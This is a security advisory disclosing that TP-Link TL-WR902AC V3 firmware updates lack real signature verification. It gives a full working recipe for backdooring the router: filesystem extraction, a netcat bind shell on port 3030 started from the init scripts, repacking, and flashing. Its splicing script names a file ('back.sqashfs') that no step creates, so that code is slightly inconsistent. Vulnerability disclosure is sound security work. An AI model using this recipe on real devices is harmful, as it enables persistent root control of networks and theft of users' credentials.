Authenticated root shell on the TP-LINK TL-WR902AC router

TOBIAS MÜLLER

1 TESTED PRODUCT

Product	TP-LINK TL-WR902AC-Router
Hardware version	V3
Software version	TL-WR902AC(EU)_V3_0.9.1 Build 220329

2 LACK OF SECURE UPDATE MECHANISM

An admin can update the router's firmware via the admin interface. Normally, it should be assumed that the firmware is checked via a digital signature before it is flashed. Also the TP-Link router creates a signature, so the update function `rsl_sys_updateFirmware` is located in the file `/lib/libcmm.so` and calls the function `rsl_createSwSignature` to create the signature.

```
bool rsl_createSwSignature(uint param_1,int param_2,uint *signatur_buffer)
{
  if (signatur_buffer != (uint *)0x0) {
    *signatur_buffer = param_2 << 8 | param_1 >> 8 & 0xff;
  }
  return signatur_buffer == (uint *)0x0;
}
```

The code only checks individual values in the firmware's metadata, which means that the firmware can be changed as long as these two values remain the same.

The firmware contains the boot loader U-Boot, an LZMA compressed file and the file system. The easiest way to install the backdoor is to include it in the file system. To do this, the file system must first be extracted from the binary, for example with binwalk, and then unpacked with unsquashfs. The unpacking of the filesystem must be done using fakeroot. This is because the file system also contains devices in the dev directory that cannot be properly mounted in the host system. Fakeroot simulates a root environment and that these devices exist.

```
binwalk --dd=".*" firmware.bin
fakeroot -s f.dat unsquashfs -d squashfs-root 160200
```

The easiest way for a backdoor is to build a reverse shell with Netcat. To do this, the architecture of the router must first be identified, which can be done using `file`.

```
file busybox
busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically
↪  linked, interpreter /lib/ld-uClibc.so.0, stripped
```

After the architecture (MIPS (little endian) and 32-bit) has been detected, Netcat can now be compiled with it. The executable can then be stored in the directory `/usr/bin` for example. In addition, the required execution rights must be added to the executable with `chmod +x netcat`.

Author's address: Tobias Müller, security@tsmr.eu.

To start the root shell automatically at system startup, the init script (/etc/init.d/rcS) must be modified as needed. To do this, a new shell script (/etc/init.d/back) was created with the following content.

```
#!/bin/sh
while true
do
    netcat -l -p 3030 -e /bin/sh
    sleep 5
done
```

The shell script is stored in /etc/init.d/back, and gets execution rights with chmod +x. The script is now started from the init script /etc/init.d/rcS by adding /etc/init.d/back & at the end. Now that the backdoor has been embedded, the squashfs file system must be repackaged into a file. It is important that the same block size is used as well as the same compression method.

```
fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144
```

Now the file system must be reassembled with the boot loader and the Linux kernel.

```
import os
import subprocess

size = subprocess.check_output(["file", "back.sqashfs"]).decode()
offset = int(size.split(" ")[9]) + 1442304
os.system("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304")
os.system("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304")
os.system(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}")
```

The backdoor.bin can now be uploaded via the admin interface (or using a Python script). Since no verification takes place, the firmware with the built-in backdoor is now flashed onto the router. Since the configurations are retained, the attack is not noticed.

An attacker can now simply connect to the backdoor using netcat.

```
# (auf dem host) $ netcat 192.168.0.1 3030
cat /proc/self/status
Name:   cat
[snip]
Uid:  0  0  0  0
```

As can be seen from the Uid, the commands are executed with root privileges

3 EXPLOITABILITY

An attacker can control the router through the backdoor. The router plays a central role in every network, and once it has been taken over, other devices can usually be taken over as well. He can also control the entire network traffic and manipulate DNS queries, for example, and thus obtain users' access data via phishing. Comparable attacks on a TP-Link router are rated with a CVE score of 8.8 [1]

[1] https://www.opencve.io/cve/CVE-2022-30075